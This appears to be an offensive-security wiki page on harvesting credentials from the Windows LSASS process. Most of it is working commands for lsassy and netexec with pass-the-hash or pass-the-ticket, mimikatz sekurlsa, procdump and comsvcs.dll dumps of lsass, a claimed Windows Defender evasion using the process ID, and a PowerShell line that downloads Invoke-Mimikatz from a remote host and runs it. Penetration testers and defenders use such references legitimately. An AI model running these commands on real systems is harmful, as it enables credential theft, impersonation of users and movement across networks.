LSASS secrets

MITRE ATT&CK™ Sub-technique T1003.001

Theory

The Local Security Authority Subsystem Service (LSASS) is a Windows service responsible for enforcing the security policy on the system. It verifies users logging in, handles password changes and creates access tokens. Those operations lead to the storage of credential material in the process memory of LSASS. With administrative rights only, this material can be harvested (either locally or remotely).

Practice

Lsassy

Lsassy (Python) can be used to remotely extract credentials, from LSASS, on multiple hosts. As of today (22/07/2020), it is the Rolls-Royce of remote lsass credential harvesting.

• several dumping methods: comsvcs.dll, ProcDump, Dumpert

• several authentication methods: like pass-the-hash (NTLM), or pass-the-ticket (Kerberos)

• it can be used either as a standalone script, as a NetExec module or as a Python library

• it can interact with a Neo4j database to set BloodHound targets as "owned"

# With pass-the-hash (NTLM)
lsassy -u $USER -H $NThash $TARGETS

# With plaintext credentials
lsassy -d $DOMAIN -u $USER -H $NThash $TARGETS

# With pass-the-ticket (Kerberos)
lsassy -k $TARGETS

# netexec Module examples
netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash -M lsassy
netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash -M lsassy -o BLOODHOUND=True NEO4JUSER=neo4j NEO4JPASS=Somepassw0rd
netexec smb $TARGETS -k -M lsassy
netexec smb $TARGETS -k -M lsassy -o BLOODHOUND=True NEO4JUSER=neo4j NEO4JPASS=Somepassw0rd

Mimikatz

Mimikatz can be used locally to extract credentials with sekurlsa::logonpasswords from lsass's process memory, or remotely with sekurlsa::minidump to analyze a memory dump (dumped with ProcDump for example).

# (Locally) extract credentials from LSASS process memory
sekurlsa::logonpasswords

# (Remotely) analyze a memory dump
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords

For Windows 2000, a special version of mimikatz called mimilove can be used.

Pypykatz

Pypykatz (Python) can be used remotely (i.e. offline) to analyze a memory dump (dumped with ProcDump for example).

pypykatz lsa minidump lsass.dmp

ProcDump

The legitimate tool ProcDump (from sysinternals) (download) can be used to dump lsass's process memory.

procdump -accepteula -ma lsass lsass.dmp

Windows Defender is triggered when a memory dump of lsass is operated, quickly leading to the deletion of the dump. Using lsass's process identifier (pid) "bypasses" that.

# Find lsass's pid
tasklist /fi "imagename eq lsass.exe"

# Dump lsass's process memory
procdump -accepteula -ma $lsass_pid lsass.dmp

Once the memory dump is finished, it can be analyzed with mimikatz (Windows) or pypykatz (Python, cross-platform).

comsvcs.dll

The native comsvcs.dll DLL found in C:\Windows\system32 can be used with rundll32 to dump LSASS's process memory.

# Find lsass's pid
tasklist /fi "imagename eq lsass.exe"

# Dump lsass's process memory
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $lsass_pid C:\temp\lsass.dmp full

PowerSploit

PowerSploit's exfiltration script Invoke-Mimikatz (PowerShell) can be used to extract credential material from LSASS's process memory.

powershell IEX (New-Object System.Net.Webclient).DownloadString('http://10.0.0.5/Invoke-Mimikatz.ps1') ; Invoke-Mimikatz -DumpCreds

Recovered credential material could be either plaintext passwords or NT hash that can be used with pass the hash (depending on the context).

Resources

Extract credentials from lsass remotelyhackndo